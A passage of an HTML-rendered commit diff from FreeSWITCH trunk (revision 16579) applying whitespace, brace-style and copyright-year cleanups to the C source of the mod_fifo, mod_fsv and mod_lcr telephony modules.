</ins><span class="cx">                                 if ((o_announce = switch_channel_get_variable(channel, &quot;fifo_outbound_announce&quot;))) {
</span><span class="cx">                                         switch_ivr_play_file(session, NULL, o_announce, NULL);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (switch_ivr_originate(session, &amp;other_session, &amp;cause, url, 120, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         other_session = NULL;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Originate to [%s] failed, cause: %s\n&quot;, url, switch_channel_cause2str(cause));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Originate to [%s] failed, cause: %s\n&quot;, url,
+                                                                          switch_channel_cause2str(cause));
</ins><span class="cx"> 
</span><span class="cx">                                         if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1317,7 +1323,7 @@
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Outbound-URL&quot;, url);
</span><span class="cx">                                                 switch_event_fire(&amp;event);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1326,7 +1332,7 @@
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;FIFO-Result&quot;, &quot;success&quot;);
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Outbound-URL&quot;, url);
</span><span class="cx">                                                 switch_event_fire(&amp;event);
</span><del>-                                        }                                        
</del><ins>+                                        }
</ins><span class="cx">                                         url = NULL;
</span><span class="cx">                                         free(uuid);
</span><span class="cx">                                         uuid = strdup(switch_core_session_get_uuid(other_session));
</span><span class="lines">@@ -1351,7 +1357,7 @@
</span><span class="cx">                                 const char *record_template = switch_channel_get_variable(channel, &quot;fifo_record_template&quot;);
</span><span class="cx">                                 char *expanded = NULL;
</span><span class="cx"> 
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;FIFO-Name&quot;, argv[0]);
</span><span class="lines">@@ -1385,7 +1391,7 @@
</span><span class="cx">                                         const char *app = switch_channel_get_variable(other_channel, &quot;current_application&quot;);
</span><span class="cx">                                         const char *arg = switch_channel_get_variable(other_channel, &quot;current_application_data&quot;);
</span><span class="cx">                                         switch_caller_extension_t *extension = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_mutex_lock(node-&gt;mutex);
</span><span class="cx">                                         node-&gt;caller_count--;
</span><span class="cx">                                         switch_core_hash_delete(node-&gt;caller_hash, uuid);
</span><span class="lines">@@ -1454,7 +1460,7 @@
</span><span class="cx">                                 switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
</span><span class="cx">                                 switch_core_media_bug_pause(session);
</span><span class="cx">                                 switch_core_media_bug_pause(other_session);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (record_template) {
</span><span class="cx">                                         switch_ivr_stop_record_session(session, expanded);
</span><span class="cx">                                         if (expanded != record_template) {
</span><span class="lines">@@ -1487,7 +1493,7 @@
</span><span class="cx">                                 fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, &quot;fifo_consumer_wrapup_sound&quot;);
</span><span class="cx">                                 fifo_consumer_wrapup_key = switch_channel_get_variable(channel, &quot;fifo_consumer_wrapup_key&quot;);
</span><span class="cx">                                 sfifo_consumer_wrapup_time = switch_channel_get_variable(channel, &quot;fifo_consumer_wrapup_time&quot;);
</span><del>-                                if (!zstr(sfifo_consumer_wrapup_time)){
</del><ins>+                                if (!zstr(sfifo_consumer_wrapup_time)) {
</ins><span class="cx">                                         fifo_consumer_wrapup_time = atoi(sfifo_consumer_wrapup_time);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         fifo_consumer_wrapup_time = 5000;
</span><span class="lines">@@ -1511,15 +1517,15 @@
</span><span class="cx">                                         args.buflen = sizeof(buf);
</span><span class="cx">                                         switch_ivr_play_file(session, NULL, fifo_consumer_wrapup_sound, &amp;args);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (fifo_consumer_wrapup_time) {
</span><span class="cx">                                         wrapup_time_started = switch_micro_time_now();
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!zstr(fifo_consumer_wrapup_key) &amp;&amp; strcmp(buf, fifo_consumer_wrapup_key)) {
</span><del>-                                        while(switch_channel_ready(channel)) {
</del><ins>+                                        while (switch_channel_ready(channel)) {
</ins><span class="cx">                                                 char terminator = 0;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (fifo_consumer_wrapup_time) {
</span><span class="cx">                                                         wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
</span><span class="cx">                                                         if (wrapup_time_elapsed &gt; fifo_consumer_wrapup_time) {
</span><span class="lines">@@ -1529,14 +1535,15 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx"> 
</span><del>-                                                switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &amp;terminator, 0, 0, (uint32_t) wrapup_time_remaining);
</del><ins>+                                                switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &amp;terminator, 0, 0,
+                                                                                                                (uint32_t) wrapup_time_remaining);
</ins><span class="cx">                                                 if ((terminator == *fifo_consumer_wrapup_key) || !(switch_channel_ready(channel))) {
</span><span class="cx">                                                         break;
</span><span class="cx">                                                 }
</span><span class="cx"> 
</span><span class="cx">                                         }
</span><span class="cx">                                 } else if (fifo_consumer_wrapup_time &amp;&amp; (zstr(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
</span><del>-                                        while(switch_channel_ready(channel)) {
</del><ins>+                                        while (switch_channel_ready(channel)) {
</ins><span class="cx">                                                 wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
</span><span class="cx">                                                 if (wrapup_time_elapsed &gt; fifo_consumer_wrapup_time) {
</span><span class="cx">                                                         break;
</span><span class="lines">@@ -1546,7 +1553,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;fifo_status&quot;, &quot;WAITING&quot;);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (do_wait &amp;&amp; switch_channel_ready(channel)) {
</span><span class="cx">                                 if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1556,7 +1563,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;FIFO-Name&quot;, argv[0]);
</span><span class="lines">@@ -1577,7 +1584,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (node &amp;&amp; node-&gt;ready == FIFO_DELAY_DESTROY &amp;&amp; node-&gt;consumer_count == 0 &amp;&amp; node-&gt;caller_count == 0) {
</span><span class="lines">@@ -1636,7 +1643,7 @@
</span><span class="cx">         switch_xml_set_attr_d(x_out, &quot;outbound-call-count&quot;, argv[10]);
</span><span class="cx">         switch_xml_set_attr_d(x_out, &quot;outbound-fail-count&quot;, argv[11]);
</span><span class="cx">         switch_xml_set_attr_d(x_out, &quot;next-available&quot;, expires);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_set_txt_d(x_out, argv[2]);
</span><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="lines">@@ -1657,7 +1664,7 @@
</span><span class="cx">         h.verbose = verbose;
</span><span class="cx"> 
</span><span class="cx">         fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &amp;h);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> 
</span><span class="cx">         return h.cc_off;
</span><span class="lines">@@ -1736,7 +1743,7 @@
</span><span class="cx">         switch_xml_set_attr_d(x_fifo, &quot;waiting_count&quot;, tmp);
</span><span class="cx">         switch_snprintf(tmp, sizeof(buffer), &quot;%u&quot;, node-&gt;importance);
</span><span class="cx">         switch_xml_set_attr_d(x_fifo, &quot;importance&quot;, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cc_off = xml_outbound(x_fifo, node, &quot;outbound&quot;, &quot;member&quot;, cc_off, verbose);
</span><span class="cx">         cc_off = xml_hash(x_fifo, node-&gt;caller_hash, &quot;callers&quot;, &quot;caller&quot;, cc_off, verbose);
</span><span class="cx">         cc_off = xml_hash(x_fifo, node-&gt;consumer_hash, &quot;consumers&quot;, &quot;consumer&quot;, cc_off, verbose);
</span><span class="lines">@@ -1851,7 +1858,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-const char outbound_sql[] = 
</del><ins>+const char outbound_sql[] =
</ins><span class="cx">         &quot;create table fifo_outbound (\n&quot;
</span><span class="cx">         &quot; uuid varchar(255),\n&quot;
</span><span class="cx">         &quot; fifo_name varchar(255),\n&quot;
</span><span class="lines">@@ -1861,19 +1868,14 @@
</span><span class="cx">         &quot; timeout integer,\n&quot;
</span><span class="cx">         &quot; lag integer,\n&quot;
</span><span class="cx">         &quot; next_avail integer,\n&quot;
</span><del>-        &quot; expires integer,\n&quot;
-        &quot; static integer,\n&quot;
-        &quot; outbound_call_count integer,&quot;
-        &quot; outbound_fail_count integer,&quot;
-        &quot; hostname varchar(255)\n&quot;
-        &quot;);\n&quot;;
</del><ins>+        &quot; expires integer,\n&quot; &quot; static integer,\n&quot; &quot; outbound_call_count integer,&quot; &quot; outbound_fail_count integer,&quot; &quot; hostname varchar(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t load_config(int reload, int del_all)
</span><span class="cx"> {
</span><span class="cx">         char *cf = &quot;fifo.conf&quot;;
</span><span class="cx">         switch_xml_t cfg, xml, fifo, fifos, member, settings, param;
</span><del>-        switch_status_t status = SWITCH_STATUS_SUCCESS;        
</del><ins>+        switch_status_t status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         char *sql;
</span><span class="cx">         switch_bool_t delete_all_outbound_member_on_startup = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="lines">@@ -1892,7 +1894,7 @@
</span><span class="cx"> 
</span><span class="cx">                         var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                         val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, &quot;odbc-dsn&quot;) &amp;&amp; !zstr(val)) {
</span><span class="cx">                                 if (switch_odbc_available()) {
</span><span class="cx">                                         globals.odbc_dsn = switch_core_strdup(globals.pool, val);
</span><span class="lines">@@ -1915,13 +1917,13 @@
</span><span class="cx">                 globals.dbname = &quot;fifo&quot;;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (!(dbh = fifo_get_db_handle())) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Cannot open DB!\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_test_reactive(dbh, &quot;delete from fifo_outbound where static = 1&quot;, &quot;drop table fifo_outbound&quot;, outbound_sql);
</span><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="lines">@@ -1939,12 +1941,12 @@
</span><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ((reload &amp;&amp; del_all) || (!reload &amp;&amp; delete_all_outbound_member_on_startup) ) {
</del><ins>+        if ((reload &amp;&amp; del_all) || (!reload &amp;&amp; delete_all_outbound_member_on_startup)) {
</ins><span class="cx">                 sql = switch_mprintf(&quot;delete from fifo_outbound where hostname='%q'&quot;, globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf(&quot;delete from fifo_outbound where static=1 and hostname='%q'&quot;, globals.hostname);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> 
</span><span class="lines">@@ -1959,14 +1961,14 @@
</span><span class="cx">                         int timeout_i = 60;
</span><span class="cx">                         int lag_i = 10;
</span><span class="cx">                         fifo_node_t *node;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         name = switch_xml_attr(fifo, &quot;name&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((importance = switch_xml_attr(fifo, &quot;importance&quot;))) {
</span><span class="cx">                                 if ((imp = atoi(importance)) &lt; 0) {
</span><span class="cx">                                         imp = 0;
</span><span class="cx">                                 }
</span><del>-                        }                                
</del><ins>+                        }
</ins><span class="cx"> 
</span><span class="cx">                         if (!name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;fifo has no name!\n&quot;);
</span><span class="lines">@@ -1978,11 +1980,11 @@
</span><span class="cx">                                 node = create_node(name, imp, globals.sql_mutex);
</span><span class="cx">                         }
</span><span class="cx">                         switch_mutex_unlock(globals.mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_assert(node);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(node-&gt;mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (member = switch_xml_child(fifo, &quot;member&quot;); member; member = member-&gt;next) {
</span><span class="cx">                                 const char *simo = switch_xml_attr_soft(member, &quot;simo&quot;);
</span><span class="cx">                                 const char *lag = switch_xml_attr_soft(member, &quot;lag&quot;);
</span><span class="lines">@@ -2007,12 +2009,12 @@
</span><span class="cx">                                                 lag_i = 10;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 name_dup = strdup(node-&gt;name);
</span><span class="cx">                                 if ((p = strchr(name_dup, '@'))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_stristr(&quot;origination_caller_id&quot;, member-&gt;txt)) {
</span><span class="cx">                                         sql = switch_mprintf(&quot;insert into fifo_outbound &quot;
</span><span class="cx">                                                                                  &quot;(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, &quot;
</span><span class="lines">@@ -2030,7 +2032,7 @@
</span><span class="cx">                                                                                  &quot;'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,&quot;
</span><span class="cx">                                                                                  &quot;origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')&quot;,
</span><span class="cx">                                                                                  digest, node-&gt;name, node-&gt;name, name_dup, member-&gt;txt, simo_i, 0, timeout_i, lag_i, globals.hostname);
</span><del>-                                                                                 
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 switch_assert(sql);
</span><span class="lines">@@ -2038,14 +2040,14 @@
</span><span class="cx">                                 free(sql);
</span><span class="cx">                                 free(name_dup);
</span><span class="cx">                                 node-&gt;has_outbound = 1;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         node-&gt;ready = 1;
</span><span class="cx">                         node-&gt;is_static = 1;
</span><span class="cx">                         switch_mutex_unlock(node-&gt;mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s configured\n&quot;, node-&gt;name);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_xml_free(xml);
</span><span class="lines">@@ -2057,7 +2059,7 @@
</span><span class="cx">                 void *val, *pop;
</span><span class="cx">                 fifo_node_t *node;
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><del>-        top:
</del><ins>+          top:
</ins><span class="cx">                 for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         int x = 0;
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="lines">@@ -2076,7 +2078,7 @@
</span><span class="cx">                                                 free(pop);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_hash_delete(globals.fifo_hash, node-&gt;name);
</span><span class="cx">                                 switch_core_hash_destroy(&amp;node-&gt;caller_hash);
</span><span class="cx">                                 switch_core_hash_destroy(&amp;node-&gt;consumer_hash);
</span><span class="lines">@@ -2099,15 +2101,15 @@
</span><span class="cx">         char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
</span><span class="cx">         char *sql, *name_dup, *p;
</span><span class="cx">         fifo_node_t *node = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
</span><del>-        
</del><ins>+
</ins><span class="cx">         sql = switch_mprintf(&quot;delete from fifo_outbound where fifo_name='%q' and uuid = '%q'&quot;, fifo_name, digest);
</span><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         free(sql);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (!(node = switch_core_hash_find(globals.fifo_hash, fifo_name))) {
</span><span class="cx">                 node = create_node(fifo_name, 0, globals.sql_mutex);
</span><span class="lines">@@ -2115,7 +2117,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx"> 
</span><del>-        node-&gt;has_outbound = 1;        
</del><ins>+        node-&gt;has_outbound = 1;
</ins><span class="cx"> 
</span><span class="cx">         name_dup = strdup(fifo_name);
</span><span class="cx">         if ((p = strchr(name_dup, '@'))) {
</span><span class="lines">@@ -2128,13 +2130,12 @@
</span><span class="cx">                                                  &quot;values ('%q','%q',&quot;
</span><span class="cx">                                                  &quot;'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,&quot;
</span><span class="cx">                                                  &quot;origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')&quot;,
</span><del>-                                                 digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
-                                                 );
</del><ins>+                                                 digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long) expires, globals.hostname);
</ins><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         free(sql);
</span><span class="cx">         free(name_dup);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void fifo_member_del(char *fifo_name, char *originate_string)
</span><span class="lines">@@ -2143,7 +2144,7 @@
</span><span class="cx">         char *sql;
</span><span class="cx"> 
</span><span class="cx">         switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
</span><del>-        
</del><ins>+
</ins><span class="cx">         sql = switch_mprintf(&quot;delete from fifo_outbound where fifo_name='%q' and uuid = '%q' and hostname='%q'&quot;, fifo_name, digest, globals.hostname);
</span><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="lines">@@ -2167,7 +2168,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (zstr(cmd)){
</del><ins>+        if (zstr(cmd)) {
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, FIFO_MEMBER_API_SYNTAX);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -2181,11 +2182,11 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, &quot;-ERR Invalid!\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         action = argv[0];
</span><span class="cx">         fifo_name = argv[1];
</span><span class="cx">         originate_string = argv[2];
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (action &amp;&amp; !strcasecmp(action, &quot;add&quot;)) {
</span><span class="cx">                 if (argc &gt; 3) {
</span><span class="cx">                         simo_count = atoi(argv[3]);
</span><span class="lines">@@ -2208,7 +2209,7 @@
</span><span class="cx">                 if (lag &lt; 0) {
</span><span class="cx">                         lag = 5;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 fifo_member_add(fifo_name, originate_string, simo_count, timeout, lag, expires);
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, &quot;+OK\n&quot;);
</span><span class="cx">         } else if (action &amp;&amp; !strcasecmp(action, &quot;del&quot;)) {
</span><span class="lines">@@ -2240,7 +2241,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Subscribe to presence request events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, 
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
</ins><span class="cx">                                                                         pres_event_handler, NULL, &amp;globals.node) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't subscribe to presence request events!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -2250,10 +2251,10 @@
</span><span class="cx">         switch_core_hash_init(&amp;globals.fifo_hash, globals.pool);
</span><span class="cx">         switch_mutex_init(&amp;globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><span class="cx">         switch_mutex_init(&amp;globals.sql_mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.running = 1;
</span><del>-        
-        if ((status = load_config(0,1)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if ((status = load_config(0, 1)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_event_unbind(&amp;globals.node);
</span><span class="cx">                 switch_event_free_subclass(FIFO_EVENT);
</span><span class="cx">                 switch_core_hash_destroy(&amp;globals.fifo_hash);
</span><span class="lines">@@ -2287,24 +2288,24 @@
</span><span class="cx">         fifo_node_t *node;
</span><span class="cx">         switch_memory_pool_t *pool = globals.pool;
</span><span class="cx">         switch_mutex_t *mutex = globals.mutex;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_unbind(&amp;globals.node);
</span><span class="cx">         switch_event_free_subclass(FIFO_EVENT);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(mutex);
</span><span class="cx"> 
</span><span class="cx">         globals.running = 0;
</span><span class="cx">         /* Cleanup */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.node_thread_running) {
</span><span class="cx">                 stop_node_thread();
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
</span><span class="cx">                 int x = 0;
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="cx">                 node = (fifo_node_t *) val;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_wrlock(node-&gt;rwlock);
</span><span class="cx">                 for (x = 0; x &lt; MAX_PRI; x++) {
</span><span class="cx">                         while (switch_queue_trypop(node-&gt;fifo_list[x], &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_fsvmod_fsvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -107,7 +107,7 @@
</span><span class="cx">         int fd;
</span><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx">         switch_codec_t codec, *vid_codec;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_get_read_impl(session, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">         switch_channel_answer(channel);
</span><span class="lines">@@ -227,8 +227,8 @@
</span><span class="cx">         uint32_t ts = 0, last = 0;
</span><span class="cx">         switch_timer_t timer = { 0 };
</span><span class="cx">         switch_payload_t pt = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">         vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_lcrmod_lcrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -122,7 +122,7 @@
</span><span class="cx">         switch_bool_t profile_has_intrastate;
</span><span class="cx">         switch_bool_t profile_has_intralata;
</span><span class="cx">         switch_bool_t profile_has_npanxx;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_bool_t reorder_by_rate;
</span><span class="cx">         switch_bool_t quote_in_list;
</span><span class="cx">         switch_bool_t info_in_headers;
</span><span class="lines">@@ -173,21 +173,21 @@
</span><span class="cx">         char *src_regex = NULL;
</span><span class="cx">         char *dst_regex = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cid)) {
</span><span class="cx">                 len = strlen(cid);
</span><span class="cx">         } else {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         src = switch_core_strdup(pool, cid);
</span><span class="cx">         /* check that this is a valid regexp and split the string */
</span><del>-        
-        if ((src[0] == '/') &amp;&amp; src[len-1] == '/') {
</del><ins>+
+        if ((src[0] == '/') &amp;&amp; src[len - 1] == '/') {
</ins><span class="cx">                 /* strip leading / trailing slashes */
</span><del>-                src[len-1] = '\0';
</del><ins>+                src[len - 1] = '\0';
